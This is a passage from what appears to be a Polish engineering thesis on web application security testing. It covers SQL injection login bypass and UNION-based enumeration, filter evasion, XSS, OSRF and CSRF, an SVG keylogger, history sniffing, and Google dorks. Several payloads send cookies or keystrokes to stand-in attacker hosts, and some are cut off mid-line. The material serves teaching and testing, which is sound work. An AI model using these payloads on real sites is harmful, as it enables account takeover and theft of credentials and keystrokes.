Zaloguj się do bezpiecznego systemu

Nazwa użytkownika: Administrator’ --

Hasło: HasłoKtóreNieZostanieSprawdzone

Rysunek 1. Panel logowania systemu podatnego na atak Wstrzyknięcie SQL

To zapytanie, które powstanie w wyniku działania powyższego algorytmu przybierze postać:

SELECT user_id FROM users WHERE user_login = ‘Administrator’ -- ‘ AND

user_password = ‘cddca8d8cdef7717b5bb8f4455f94f7b’

Zapytanie zwróci oczekiwany wynik, pod warunkiem, że w systemie istnieje konto o nazwie

„Administrator”. Sprawdzenia hasła użytkownika nie będzie – szarym kolorem została

oznaczona część zapytania, która została zakomentowana i interpreter bazy danych ją ominie.

Przedstawiony sposób nie jest uniwersalny i nie działa na każdej stronie internetowej

oferującej mechanizm logowania, w którym sprawdza się dane użytkownika na podstawie

wpisu w bazie danych. Programiści są świadomi możliwości nielegalnego wykorzystania

jakichkolwiek pól, których zawartość jest przesyłana do bazy danych, dlatego sprawdzają ich

wartość pod kątem określonych znaków, które mogłyby zmienić wynik zapytania, a co za tym

idzie – logikę działania aplikacji.

Należy również zauważyć, że jeśli zapytanie było by skonstruowane w inny sposób:

SELECT user_id FROM users WHERE user_password = ‘%2’ AND user_login =

‘%1’

To taka próba ominięcia logowania nie zdała by egzaminu – oczywiście na szczęście (bądź

też nieszczęście) można postarać się o inną modyfikację zapytania.

17

2.2.3 Inne operacje na bazie danych – Wstrzyknięcie SQL

Wykorzystanie UNION SELECT

Atak Wstrzyknięcie SQL z wykorzystaniem UNION SELECT polega na doklejeniu drugiego

zapytania do oryginalnego i zwrócenia jego wyników wraz z tymi, które były przewidziane

przez programistę. Przykładowe zapytanie:

SELECT * FROM ARTICLES WHERE ARTICE_ID = ‘12’

Może być zamienione na:

SELECT * FROM ARTICLES WHERE ARTICLE_ID=’12’ UNION SELECT * FROM

SECRET_ARTICLES -- ‘

Jednak, aby skorzystać z powyższego ataku powinny być spełnione dwa warunki:

1. Liczba kolumn, które mają zwrócić obydwa zapytania musi być taka sama.

2. Poszczególne kolumny muszą mieć taki sam typ danych.

Największą przeszkodą w wykorzystywaniu tego typu zapytania jest nieznajomość schematu

bazy danych. Problem jest znacznie mniejszy, jeśli atakujący ma do czynienia z jedną z

aplikacji, która jest produktem pudełkowym i można do niej znaleźć dokumentację, w której

znajdzie się cały schemat bazy danych.

Istnieje jednak kilka sposobów, dzięki którym atakujący może znaleźć zarówno liczbę

kolumn w atakowanym zapytaniu jak i typ danych, jaki poszczególne kolumny powinny

reprezentować. Należy w tym miejscu wspomnieć, że niektóre bazy danych oferują

automatyczną konwersję do wymaganego typu danych – dla przykładu, większość baz danych

otrzymując argument będący numerem, kiedy kolumna jest typu znakowego, automatycznie

dokona niezbędnej konwersji. Jeśli zaś numer będzie równy 2000, to dodatkowo baza może

przeprowadzić konwersję na typ daty.

Metoda na określenie ilości kolumn w pierwotnym zapytaniu

Do określenia ilości kolumn można skorzystać z zapytania:

UNION SELECT null, null, ... FROM DUAL

(Wirtualna tabela DUAL jest obsługiwana, z racji kompatybilności przy przenoszeniu różnych

aplikacji, przez większość popularnych baz danych.)

18

W powyższym zapytaniu należy modyfikować liczbę wystąpień null, najlepiej zaczynając od

jednego wzwyż, gdy liczba kolumn się nie zgadza, zapytanie wstrzyknięte do oryginalnego

zwróci błąd bazy danych. Jednak jeśli strona zostanie poprawnie wyświetlona to udało się

znaleźć liczbę kolumn zwracanych przez zapytanie. W zapytaniu użyto wartości null,

ponieważ bazy danych rzutują tą wartość automatycznie do niemal dowolnego typu kolumny.

Inną metodą jest dołączenie kodu, który ma w zamyśle sortować wyniki:

ORDER BY 1

Powyższa część zapytania służy do sortowania wyników po pierwszej zwracanej kolumnie,

jeśli atakujący będzie zwiększał wartość 1, to w pewnym momencie dojdzie do błędu bazy

danych – będzie on oznaczał to, że nie ma takiej kolumny (czyli ilością kolumn jest liczba o

jeden niższa, niż ta przy której wystąpił błąd).

Metoda na określenie typu danych zwracanych w kolumnach wyniku zapytania

Zakładając, że atakujący określił już ilość kolumn w danym zapytaniu, może przystąpić do

określenia typu danych zwracanych przez zapytanie. Do określenia większości typów danych

można wykorzystać zapytanie podobne do:

UNION SELECT ‘a’, null, null

Liczba pól, jest liczbą kolumn, w nieznanych jeszcze typach atakujący umieszcza symbol

null. Po umieszczeniu pierwszej wartości w nieznanym typie danych, atakujący albo zobaczy

błąd niezgodności danych, albo wynik się wyświetli – jeśli się wyświetlił to typ danych został

odkryty. Następna iteracja będzie wyglądała podobnie do poniższego przykładu:

UNION SELECT ‘a’, ‘b’, null

Zmieniając kolejne typy danych atakujący dochodzi do struktury wyniku zapytania.

Podczas tego kroku atakujący powinien zwrócić uwagę na kolejność typu danych

podawanych jako argumenty zapytania. O ile wartość tekstowa ‘a’ nie rzutuje się

automatycznie do numerycznej, to dla liczby 1 niemal na pewno zostanie przeprowadzona

konwersja na typ znakowy.

19

Metoda na poznanie struktury bazy danych

Mając już określoną część danych, można dokleić zapytanie do tabeli przechowującej

informacje na temat struktury bazy danych. W bazach MySQL oraz MS-SQL tabela, która

przechowuje dane o wszystkich kolumnach w tabelach nazywa się

INFORMATION_SCHEMA.COLUMNS, zaś w bazie Oracle jest to all_tab_columns.

Znając już budowę bazy danych oraz podatność na Wstrzyknięcie SQL, można wydostać z

bazy praktycznie wszystkie informacje.

Wykorzystanie innych komend – INSERT, UPDATE, DELETE

Komendy służące do modyfikacji danych (ang. DML - Data Manipulation Language) można

wykorzystać w podobny sposób jak SELECT, jednak należy się liczyć z tym, że nietrafione

zapytanie może być równoznaczne z utratą celu ataku oraz wartościowych danych (a także ze

zwiększoną odpowiedzialnością karną).

Omijanie filtrów

Jeżeli programista zastosował filtr, wykrywający konkretne znaki, to możliwe, że istnieje w

nim podatność. Można to sprawdzić i często ominąć filtr poprzez doklejenie

zmodyfikowanego zapytania.

Jeżeli filtr blokuje znaki komentarza (--), a nie blokuje pojedynczego apostrofu (‘), to można

wstrzyknąć następujący kod:

‘ OR ‘A’ = ‘A

Jeżeli zaś treść pola filtrowana jest po słowach kluczowych, to zamiast ich jawnego

wykorzystania można zastosować jedną z poniższych reprezentacji (dla przykładu słowo

kluczowe SELECT):

SeLECT

%00SELECT

%53%45%4c%45%43%54

Dodatkowo, w bazie danych MySQL pomiędzy słowa kluczowe mogą być wstawiane

komentarze, dlatego poprawnym zapytaniem może być również:

SEL/*komentarz*/ECT

20

2.3 Ataki typu cross-site

O tym typie ataku można w Internecie znaleźć opinie, iż jest nieszkodliwy dla świadomych

użytkowników, czyli dla tych, który dobrze wiedzą czym jest bezpieczeństwo komputerowe

i jak powinno się postępować, aby nie zostać ofiarą ataku. Nic bardziej mylnego – ataki

często nie wymagają żadnej interakcji klienta. Dobrze przeprowadzony atak XSS wymaga od

użytkownika tylko wejścia na stronę, którą odwiedza codziennie i doskonale wie, że nic złego

go tam nie spotka.

Ataki XSS opierają się na wstrzyknięciu do treści strony internetowej (wysłanej przez serwer

do klienta) swojego kodu, jednak samo osadzenie kolejnej sekcji w języku HTML, a co za

tym idzie – zmiana wyglądu strony, nie jest ani efektowna, ani nie pozwala na zbyt dużo. Z

pomocą śpieszy JavaScript (JS) – język skryptowy wykonywany po stronie klienta.

Przeglądarki internetowe działają na zasadzie tożsamego pochodzenia (ang. same-origin-

policy), co oznacza, że dostęp do obiektu (np. ciasteczka), który został utworzony przez daną

stronę, mają jedynie te skrypty, które są wykonywane w jej kontekście. Ściślej rzecz ujmując,

dostęp mają te skrypty, które są uruchomione z miejsca identyfikującego się tym samym

protokołem, numerem portu i nazwą domenową jak strona, która obiekty stworzyła. Z tego

samego powodu użytkownicy Internetu często dziwią się, że jeśli strona jest dostępna pod

adresami: http://www.przykladowa-strona.pl, http://przykladowa-strona.pl, czy też

https://przykladowa-strona.pl, to funkcjonalność „zapamiętania logowania” działa w obrębie

każdego adresu osobno.

Wykorzystanie ataku typu XSS dzieli się na trzy typy:

Odbite (ang. Reflected XSS)

Składowane (ang. Stored XSS)

Oparte na DOM (ang. DOM-based XSS)

2.3.1 Odbite XSS

Odbite XSS jest najpopularniejszym rodzajem ataku XSS, występuje na stronach, które

pobierają w parametrze żądania tekst, który w odpowiedzi zostanie dynamicznie na nich

wyświetlony. Swoją nazwę zawdzięcza metodzie działania – atakujący zmienia adres, tak aby

zawierał on jego kod, a następnie wywołuje go użytkownik, w którego stronę serwer „odbija”

atak. Najczęstsze miejsca występowania podatności na ten typ ataku to wyszukiwarki, które

wyświetlają szukaną frazę oraz strony błędów, które w parametrze przyjmują tekst do

21

wyświetlenia. Jeżeli skrypty po stronie serwera nie korzystają z filtrowania tekstu

przekazanego parametrem, to jest ona z pewnością podatna na ten rodzaj ataku.

Dla przykładowej strony:

http://www.przykladowa-strona.pl/error.php?text=Przepraszamy%2c+wystąpił+błąd

Może być wyświetlany tekst (w HTML):

<p>Przepraszamy, wystąpił błąd</p>

Jeżeli atakujący zamieni tekst z parametru na przykładowe wywołanie JS:

http://www.przykladowa-strona.pl/error.php?text=<script>alert(1);</script>

Rysunek 2. Przykład działania ataku XSS

To jeśli po wejściu na powyższy adres pojawi się okienko z numerem 1, to atak został

poprawnie przeprowadzony i strona jest podatna.

22

Wykorzystanie ataku

Najłatwiejszym sposobem pokazania możliwości takiego ataku jest połączenie go z kradzieżą

identyfikatora sesji. Przykładowy scenariusz ataku może wyglądać następująco:

1. Użytkownik loguje się na stronie internetowej – ta, przydziela mu identyfikator sesji i

umieszcza go w ciasteczku.

2. Atakujący przesyła ofierze adres URL:

http://www.przykladowastrona.pl/error.php?text=<script>var+a=new+Image;+i.src

=”http://adres-atakujacego.pl/”%2bdocument.cookie;</script>

3. Użytkownik otwiera w przeglądarce adres URL i wysyła żądanie do serwera.

4. Serwer odpowiada kodem strony, wraz z zamieszczonym przez atakującego kodem

JavaScript.

5. Przeglądarka użytkownika odbiera odpowiedź i generuje stronę, wykonując przy tym

spreparowany przez atakującego skrypt.

6. Kod JavaScript zmusza przeglądarkę użytkownika do pobrania obrazka znajdującego

się pod adresem:

http://adres-atakujacego.pl/<treść pliku cookie>

7. Obrazka pod danym adresem oczywiście nie ma (choć nic nie stoi na przeszkodzie,

aby taką funkcjonalność zapewnić), aczkolwiek serwer atakującego zapisuje w swoim

dzienniku dokładny adres URL, który wywołała ofiara.

8. Atakujący odczytuje plik dziennika swojego serwera i znajduje w nim identyfikator

sesji ofiary.

Powyższym sposobem atakujący zyskał dostęp do konta ofiary w danej aplikacji internetowej,

pod warunkiem, że identyfikatory sesji przechowywane są tylko w ciasteczkach i serwis nie

ma innych zabezpieczeń.

Dobrym przykładem opisywanego ataku jest dziura znaleziona w roku 2004 przez Dave

Armstronga w internetowym serwisie aukcyjnym eBay. Błąd polegał na możliwości

odpowiedniego spreparowania adresu URL, tak aby nieświadomy użytkownik (uprzednio

zalogowany na eBay) odwiedzający spreparowany adres URL wziął udział w licytacji [3].

23

2.3.2 Składowane XSS

Inny typ ataku XSS jest określany jako składowany, ta wersja dotyczy sytuacji, kiedy dane

przesłane przez jednego użytkownika są zapisane w bazie danych i później wyświetlane

innym użytkownikom bez niezbędnego filtrowania.

Atak typu Składowany XSS jest groźniejszy od Odbitego XSS, ponieważ atakujący nie musi

zmuszać ofiary do wejścia na konkretny adres URL. Wystarczy, w zależności od miejsca

występowania błędu, opublikować wiadomość na forum, przesłać prywatną wiadomość, bądź

też umieścić ogłoszenie – indukuje to inne poważne zagrożenie – spreparowana wiadomość

może wyświetlić się u większej liczby odbiorców, co oznacza atak na większą skalę. Jeżeli

jednym z użytkowników, którzy wyświetlą stronę ze złośliwym kodem będzie taki, który

posiada uprawienia administratora – atakujący może przejąć całą aplikację.

Scenariusz ataku jest podobny do Odbitego XSS, najpierw atakujący znajduje lukę w

filtrowaniu danych, a następnie wykorzystuje ją umieszczając spreparowany fragment

skryptu.

2.3.3 DOM-based XSS

Trzecią kategorią ataków XSS jest atak oparty na Obiektowym Modelu Dokumentów (ang.

DOM- Document Object Model). Ten typ ataku jest równie groźny, co Składowany XSS,

opiera się on na poniższym zachowaniu:

1. Użytkownik wchodzi na spreparowany przez atakującego adres URL, zawierający

złośliwy kod.

2. Serwer zwraca odpowiedź, która nie zawiera kodu wprowadzonego przez atakującego.

3. Podczas przetwarzania odpowiedzi przez przeglądarkę wywołuje się złośliwy skrypt.

Implementacja powyższego zachowania ogranicza się do zwracania przez serwer stałego

kodu:

<script>

var url = document.location;

url = unescape(url);

var message = url.substring(url.indexOf(‘text=’) + 5, url.length);

document.write(message);

</script>

24

Powyższy kod pobiera z przeglądarki aktualny adres URL i wybiera z niego ciąg znaków

będący parametrem o nazwie text, następnie wypisuje go na stronie.

Programiści często pomijają walidację kodu, którego nie zwracają w odpowiedzi klientowi,

jednak jest to, jak widać, poważny błąd. Jeżeli użytkownik wejdzie pod adres URL:


=”http://adres-atakujacego.pl/”%2bdocument.cookie;</script>

To spotka go ten sam los, co przy ataku typu Odbity XSS. Obydwa ataki mogą wydawać się

podobne, jednak ich sposób realizacji jest istotną różnicą.

2.3.4 Wykorzystanie ataków XSS

Ataki XSS, poza przedstawionym przechwytywaniem sesji, mogą wykonywać najróżniejsze

funkcje, między innymi:

Instalacja złośliwego oprogramowania

Zamiast skryptu, który przechodzi na stronę atakującego – może on ładować i wykonywać

inny skrypt, który jest exploitem na daną wersję przeglądarki, przez co często atakujący ma

dostęp do komputera ofiary.

Wykonywanie akcji w imieniu użytkowników

Skrypt zawarty w XSS może także wykonywać akcje, które użytkownik mógłby wykonać

poprzez przesłanie formularza, czy też kliknięcie w odpowiedni adres URL – niezależnie od

metody przesyłania danych, czy jest to POST, czy też GET, atakujący może wykonać

praktycznie dowolną akcję, którą mógłby wykonać użytkownik.

Zapytania GET łatwo spreparować, wystarczy wprowadzić kilka zmian do przedstawionego

wcześniej skryptu, wysyłającego zawartość ciasteczka atakującemu.


=”http://

przykladowastrona.pl/usun_komentarz.php?akcja=del&&id_komentarza=233”;</scr

ipt>

Powyższy skrypt zmusi przeglądarkę do wywołania adresu URL:

http:// przykladowastrona.pl/usun_komentarz.php?akcja=del&&id_komentarza=233

25

Który może służyć na przykład do usuwania napisanego przez użytkownika komentarza w

danej aplikacji, w takiej sytuacji nietrudno jest spreparować adres URL, który mógłby usuwać

konto użytkownika (o ile autor aplikacji nie zastosowałby podwójnego potwierdzenia takiej

akcji).

Jeśli atakujący napotka na swojej drodze filtr, który będzie skutecznie odrzucał zapytania z

frazą <script>, to może także wykorzystać jeszcze łatwiejszy sposób:

http://www.przykladowastrona.pl/error.php?text=<img+src=”?

akcja=del&&id_komentarza=233”>

Co także powinno odnieść pożądany skutek, różnicą pomiędzy tym URL, a poprzednim jest

wykorzystanie JavaScript – w tej sytuacji nie jest on niezbędny, należy jednak pamiętać, że

jeśli atakujący chce dostać się do zawartości ciasteczek, to zwykły HTML mu do tego nie

wystarczy.

Zapytania POST nie są trudniejsze w realizacji, jednak jest tu więcej kodu:

<form action=”usun_komentarz.php” method=”post” id=”usuwanie_komentarza”>

<input name=”akcja” type=”hidden” value=”del”>

<input name=”id_komentarza” type=”hidden” value=”233”>

</form>

<script>

var formularz = document.getElementById(„usuwanie_komentarza”);

formularz.submit();

</script>

Po wejściu na spreparowany adres URL, przeglądarka użytkownika zbuduje niewidoczny

formularz uzupełniony danymi i wyśle go metodą POST do skryptu usun_komentarz.php.

Tak duże skrypty wymagają specjalnego traktowania, z racji iż protokół HTTP nie

specyfikuje maksymalnej długości adresu URL (wraz z parametrami przesyłanymi metodą

GET), to przeglądarki internetowe oraz serwery WWW narzucają pewne limity [4].

2.3.5 Request forgery

Kategoria ataków „Request Forgery” jest także określana mianem „ujeżdżania sesji” (ang.

session riding) i jest ściśle powiązana z atakami przejmowania sesji. Powiązanie z

mechanizmami sesji dotyczy wykorzystywania faktu, iż użytkownik ma ustaloną sesję w

26

danej aplikacji i może do niej wysyłać żądania, które są spowodowane złośliwym kodem

atakującego. W tej sytuacji atakujący nie musi znać znacznika sesji ofiary.

On-Site Request Forgery (OSRF)

OSRF przypomina ataki typu „Składowane XSS”. Dobrym przykładem ataku jest zdarzenie

jakie miało miejsce na portalu społecznościowym MySpace – użytkownik o nazwie Samy

umieścił na swoim profilu pewien skrypt, który powodował, że odwiedzający jego profil

nieświadomie dodawali do swoich profili tekst „but most of all, Samy is my hero” wraz z

kopią skryptu. W ciągu 20 godzin powyżej milion użytkowników uruchomiło skrypt,

umieszczając tym samym tekst na swoim profilu [5].

Przykład

Dla zobrazowania działania tego typu ataku można wyobrazić sobie nagłówek żądania HTTP:

POST /usercontent/new_post.aspx HTTP/1.1

Host: serwis-z-gratulacjami.pl

Cookie: SessionId=a8f5f167f44f4964e6c998dee827110c

Content-Type: application/x-www-form-urlencoded

Content-Lenght: 27

img=happy&content=gratuluje

Po wysłaniu powyższego żądania na stronie internetowej generuje się kod HTML:

<tr>

<td><img src=”happy.png”></td>

<td>gratuluje</td>

</tr>

W powyższym kodzie HTML użytkownik ma wpływ na zawartość dwóch kolumn w wierszu

tabeli. Zakładając, że strona nie jest podatna na ataki XSS, pole manewru jest bardzo

ograniczone, ale przy odpowiedniej znajomości omawianej aplikacji, atakujący może

spreparować treść żądania, tak aby użytkownicy mimowolnie wykonywali pewne akcje.

27

POST /usercontent/new_post.aspx HTTP/1.1

Host: serwis-z-gratulacjami.pl



Content-Lenght: 27

img=../admin/removeAccount.aspx?username=admin#&content=gratuluje

Zwykli użytkownicy, przeglądając stronę, nie odczują żadnej różnicy, w ich imieniu zostanie

wysłane przez przeglądarkę żądanie GET z pewnymi parametrami – oczywiście wykonanie

akcji się nie powiedzie, ponieważ nie mają oni uprawnień administratorskich. Jeśli zaś stronę

obejrzy administrator serwisu to usunie konto o nazwie admin.

Do wykonania powyższego ataku niezbędne jest to, aby skrypt removeAccount.aspx

przyjmował argumenty poprzez metodę GET oraz aby aplikacja internetowa śledziła sesje

korzystając tylko z ciasteczek.

Cross-Site Request Forgery (CSRF)

Ataki typu CSRF są często mylnie kojarzone z XSS (ang. cross-site scripting), bądź też

uznawane za ich podzbiór. Idea ataku polega na stworzeniu strony internetowej, która

spowoduje wysłanie spreparowanego żądania bezpośrednio do serwisu internetowego, na

którym ofiara jest zalogowana. Polityka tożsamego pochodzenia nie pozwala stronie, z której

pochodzi żądanie do innego serwisu internetowego, na przetwarzanie odpowiedzi na to

żądanie, jednak nie zabrania jednocześnie wysyłania takich żądań (stąd nazwa cross-site).

Przykład

Podczas analizy strony internetowej atakujący dowiedział się, że dodawanie nowych

komentarzy dostępne jest tylko dla zalogowanych użytkowników. Komentarz pojawia się pod

konkretnym artykułem i podpisany jest przez użytkownika.

28

Podczas zapisywania komentarza na stronie, która jest celem ataku wysyłane jest żądanie:

POST /usercontent/new_comment.aspx HTTP/1.1

Host: serwis-z-komentarzami.pl



Content-Lenght: 69

title=moj%20komentarz&comment=bardzo%20dobra%20strona&article_id=233

Na podstawie analizy powyższego żądania można zauważyć dwie istotne cechy strony

internetowej:

1. Identyfikator sesji przechowywany jest tylko w ciasteczku.

2. Atakujący może przewidzieć, bądź też spreparować wszystkie parametry żądania,

oprócz identyfikatora sesji.

Przykładowy atak polega na zamieszczeniu poniższego kodu HTML na dowolnym serwerze

internetowym i zaproszeniu do odwiedzenia go przez ofiarę:

<html>

<body>

<form method="POST" action="http://serwis-z-komentarzami.pl/usercontent/new_comment.aspx">

<input type="hidden" name="title" value="niezadowolony">

<input type="hidden" name="comment" value="nie podoba mi sie!">

<input type="hidden" name="article_id" value="223">

</form>

<script>

document.forms[0].submit();

</script>

</body>

</html>

Jeśli podczas wejścia na powyższa stronę internetową ofiara będzie w tym samym czasie

zalogowana do serwisu, który jest celem ataku, to do żądania POST przeglądarka doklei

brakujący identyfikator sesji, znajdujący się w ciasteczku. Następnie zostanie wywołany

skrypt new_comment.aspx, który otrzymując niezbędne informacje, utworzy komentarz pod

zadanym artykułem w imieniu osoby, która odwiedza stronę internetową (ofiara).

29

2.4 Ataki na przeglądarkę

Kolejna kategoria ataków nie jest uzależniona od zachowania specyficznej aplikacji

internetowej, wykorzystywane są podatności, które zawiera w sobie przeglądarka

internetowa. Wspomniane podatności często są implementowane świadomie przez

programistów jako nowe i innowacyjne funkcjonalności, a dopiero gdy komuś uda się

wykorzystać daną funkcjonalność w nieprzewidziany sposób, stają się zagrożeniem.

Większość nowoczesnych ataków na przeglądarki opiera się na osadzonym kodzie JavaScript,

jeszcze kilka lat temu modne były aplety Java, a jeszcze wcześniej komponenty AciveX.

Do obrony przed złośliwym kodem stworzono całą masę wtyczek do przeglądarek, które

modyfikują ich działanie – przykładem może tutaj być NoScript (do pobrania pod adresem

http://noscript.net/) – wtyczka do przeglądarek bazujących na silniku Mozilla, takich jak

Firefox. NoScript filtruje skrypty i pozwala je uruchamiać tylko na zaufanych witrynach.

2.4.1 Zdalne zapisywanie naciśnięć klawiszy w przeglądarce Firefox

Najpopularniejszym sposobem na zapisywanie naciśnięć klawiszy jest oczywiście JavaScript

– złośliwy kod można osadzić w stronie za pomocą ataku XSS. Przed skryptami łatwo się

jednak obronić, a co jeśli złośliwy kod zostanie umieszczony poza skryptami, tam gdzie nikt

się go nie spodziewał?

Nowoczesne przeglądarki implementują obsługę nawet takich formatów jak SVG – jest to

jedna z wyżej omawianych „dodatkowych” funkcjonalności, które programiści przewidzieli

dla użytkowników. Format SVG jest rozbudowany i posiada bardzo duże możliwości, między

innymi – interakcję z użytkownikiem – nic więc nie stoi na przeszkodzie, aby

zaimplementować program zapisujący naciśnięcia klawiszy (ang. keylogger) korzystając z

formatu SVG.

Elementy <set> mogą nasłuchiwać pewnych zdarzeń, używając zdarzenia accessKey()

programista może reagować na naciśnięcia klawiszy, zaś złośliwy programista może umieścić

na stronie internetowej kod, który będzie spełniał rolę programu zdalnie logującego

naciśnięcia klawiszy:

<svg height="0px">

<image xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="none">

<set attributeName="xlink:href" begin="accessKey(a)" to="//zlastrona.pl/?a" />

<set attributeName="xlink:href" begin="accessKey(b)" to="//zlastrona.pl/?b" />

30

<set attributeName="xlink:href" begin="accessKey(c)" to="//zlastrona.pl/?c" />

<set attributeName="xlink:href" begin="accessKey(d)" to="//zlastrona.pl/?d" />

<set attributeName="xlink:href" begin="accessKey(e)" to="//zlastrona.pl/?e" />

...

<set attributeName="xlink:href" begin="accessKey(v)" to="//zlastrona.pl/?v" />

<set attributeName="xlink:href" begin="accessKey(w)" to="//zlastrona.pl/?w" />

<set attributeName="xlink:href" begin="accessKey(x)" to="//zlastrona.pl/?x" />

<set attributeName="xlink:href" begin="accessKey(y)" to="//zlastrona.pl/?y" />

<set attributeName="xlink:href" begin="accessKey(z)" to="//zlastrona.pl/?z" />

</image>

</svg>

Najciekawszym zastosowaniem powyższego kodu jest oczywiście jego wstrzyknięcie do

istniejącej witryny (np. poprzez atak XSS).

Wynik działania kodu podobnego do powyższego można zaobserwować poniżej, na zrzucie

ekranu z wtyczki FireBug (do pobrania pod adresem http://getfirebug.com/) do przeglądarki

Firefox. W dolnej części okna widać, jak kolejne żądania GET z naciśniętymi klawiszami

przesyłane są do innego serwisu internetowego, który z kolei zapisuje wszystkie dane

wejściowe.

Rysunek 3. Przykład działania złośliwego pliku SVG

31

2.4.2 Poznanie historii odwiedzonych stron

JavaScript może zostać użyty do poznania historii odwiedzonych witryn. Omawiany sposób

polega na wyświetlaniu adresów URL do popularnych witryn oraz haseł wyszukiwania

metodą siłową (ang. brute-force) i pobieraniu stylu wygenerowanego adresu metodą

getComputedStyle() w celu sprawdzenia, czy został on pokolorowany przez przeglądarkę.

Atak jest z pozoru niegroźny, ale pozwala atakującemu na znaczne zawężenie grona celów

ataku, bądź też na dobranie odpowiednich środków.

2.5 Wyszukiwarka Google

Wyszukiwarka Google z pozoru nie wygląda na narzędzie do testowania bezpieczeństwa, ale

wystarczy tylko znajomość kilku słów kluczowych, aby przekonać się o drzemiącej w niej

sile. Zwykłe zapytanie wpisane do wyszukiwarki zwróci bardzo dużą liczbę wyników, które

nie zawsze są interesujące z punktu widzenia użytkownika, dlatego Google postanowiło

wprowadzić specjalne oznaczenia, które można używać w zapytaniach i mogą one znacząco

zawęzić wyniki tylko do tych najbardziej interesujących.

Społeczność ludzi zainteresowanych tematyką bezpieczeństwa systemów informatycznych

szybko znalazła kolejne zastosowanie dla wyszukiwarki Google i jej słów kluczowych.

Można jej używać także do wyszukiwania celów ataków, sprawdzania ich zabezpieczeń oraz

odnajdywania stron i informacji, które nie są przeznaczone dla osób postronnych. Do stron i

plików, które można znaleźć w Internecie za pomocą wyszukiwarki należą między innymi:

Strony konfiguracyjne drukarek i innych sprzętów, które prawdopodobnie przez

przypadek zostały wystawione do Internetu.

Strony serwerów, które zostały niepoprawnie skonfigurowane.

Pliki będące zrzutami bazy danych, które zawierają loginy i hasła użytkowników

różnych serwisów.

I wiele innych, wszystko zależy tylko od fantazji i pomysłowości użytkownika.

32

Poniżej zostały przedstawione najważniejsze słowa klucze używane w wyszukiwarce Google

do testowania bezpieczeństwa:

Tabela 1. Najważniejsze słowa kluczowe w przeglądarce Google.

Przykład Ograniczenie wyników do

filetype:doc Plików o rozszerzeniu .doc.

intitle:”ciąg_znaków” Stron, które mają w tytule „ciąg_znaków”.

cache:www.adres-strony.pl Stron w pamięci cache wyszukiwarki (starsze

kopie).

intext:”ciąg_znaków” Stron, które mają w swojej treści

„ciąg_znaków”, pomijane są wyniki z

trafieniami tylko w adresie URL, bądź w

tytule.

inurl:”ciąg_znaków” Stron, które mają w adresie „ciąg_znaków”.

site:www.adres-strony.pl Określonej domeny.

Przykłady wykorzystania

Tabela 2. Przykłady wykorzystania słów kluczowych w przeglądarce Google.

Przykład wykorzystania Uzyskany wynik

inurl:"ViewerFrame?Mode=" Obrazy z kamer internetowych.

"admin account info" filetype:log Dane logowania dla konta z uprawieniami

administratora.

intitle:index.of inurl:admin inurl:backup Listy katalogów, zawierające w adresie URL

słowa „admin” i „backup”.

inurl:hp/device/this.LCDispatcher Panele drukarek.

Więcej przykładów ciekawego wykorzystania narzędzia Google można znaleźć w Internecie

pod adresem: http://www.exploit-db.com/google-dorks/.

33

2.6 Dobrze znane luki aplikacji internetowych

Zanim tester przystąpi do poszukiwania dziur bezpieczeństwa w badanej aplikacji

internetowej, powinien dokonać rozpoznania celu, tak aby wiedzieć z jaką aplikacją ma do

czynienia. Aplikacje internetowe dzielą się, ze względu na swoje pochodzenie, na dwie grupy:

Aplikacje ogólnodostępne (darmowe, bądź też komercyjne).

Aplikacje napisane na zamówienie.

Niedoświadczony tester może mieć trudności w rozpoznaniu pochodzenia aplikacji.

Informacji dotyczącej autorów najłatwiej jest szukać na samej stronie internetowej aplikacji,

może to być odpowiedni zapis w stopce, aczkolwiek najczęściej tester znajdzie odpowiedni

zapis w kodzie HTML strony.

<meta name="generator" content="WordPress 3.2.1" />

Powyższy zapis znajdujący się w sekcji HEAD kodu HTML strony internetowej jest często

spotykany i określa jednoznacznie system używany do utrzymania aplikacji, w tym

przypadku tester ma do czynienia z systemem zarządzania treścią (ang. CMS – Content

Management System) Wordpress (do pobrania pod adresem http://pl.wordpress.org/) w

wersji 3.2.1.

Z kodu HTML strony można dowiedzieć się o stronie znacznie więcej:

<link rel='stylesheet' id='NextGEN-css' href='http://stronatestowa.pl/wp-

content/plugins/nextgen-gallery/css/nggallery.css?ver=1.0.0' type='text/css'

media='screen' />

Powyższy fragment znaleziony, także w sekcji HEAD kodu HTML, świadczy o używaniu

dodatku NextGEN (do pobrania pod adresem http://www.nextgen-gallery.com/) w wersji

1.0.0 – wtyczki do systemu Wordpress umożliwiającej utworzenie galerii zdjęć.

Jeśli tester ma do czynienia z aplikacją ogólnodostępną to istnieje duża szansa, że ktoś inny

już badał daną aplikację i być może znalazł interesujące informacje dotyczące jej

bezpieczeństwa. Bardzo istotne jest poznanie wersji używanego systemu, tak aby można było

w Internecie wyszukać znanych luk, które nie zostały załatane w badanej wersji programu.

Opis błędów, wraz z przykładowym wykorzystaniem, tak zwanym dowodem słuszności (ang.

Proof-of-Concept) może zostać znaleziony na oficjalnym narzędziu do śledzenia podatności

(ang. bug tracker) aplikacji, bądź też na forach i listach dyskusyjnych o tematyce

34

bezpieczeństwa komputerowego. W celu znalezienia omawianych stron wystarczy użyć

jednej z wyszukiwarek internetowych np. Google.

Jeśli zaś tester nie znalazł żadnych przesłanek świadczących o tym, że aplikacja działa na

znanym skrypcie to istnieje duże prawdopodobieństwo, że ma do czynienia z aplikacja

napisaną na zamówienie, niepowtarzalną i przede wszystkim słabo przetestowaną.

35

3 Narzędzia i automatyzacja testów

Narzędzia omówione w niniejszym rozdziale pozwalają na przeprowadzenie

zaawansowanych testów zabezpieczeń aplikacji internetowych. Używanie ich w każdym

napotkanym przypadku często okazuje się niestety zbędne, ponieważ sposób ich

wykorzystania powinien być uzależniony od kontekstu, czyli charakterystyki badanej

aplikacji. Opisywane w tym rozdziale narzędzia zostały dołączone do systemu, który jest

praktyczną częścią niniejszej pracy inżynierskiej.

Do przeprowadzenia testu zabezpieczeń aplikacji internetowej niewątpliwie potrzebna jest

duża wiedza merytoryczna, jednak w warunkach jakie panują w większości firm

specjalizujących się w tej dziedzinie liczy się jeszcze czas. Z tego powodu bardzo ważne jest

umiejętne korzystanie z aplikacji, które pozwolą oszczędzić testerowi szukania luk, tam gdzie

może ich nie być, a za to naprowadzą go na dobry tor. Automatyzacja testów zabezpieczeń

umożliwia nie tylko przeprowadzenie ogromnej ilości testów w bardzo krótkim czasie, ale

także zbudowanie bazy do testów regresyjnych.

W kolejnych podrozdziałach zostały przedstawione narzędzia, które pozwalają na

automatyzację testów bezpieczeństwa aplikacji internetowych. Wymienione narzędzia są

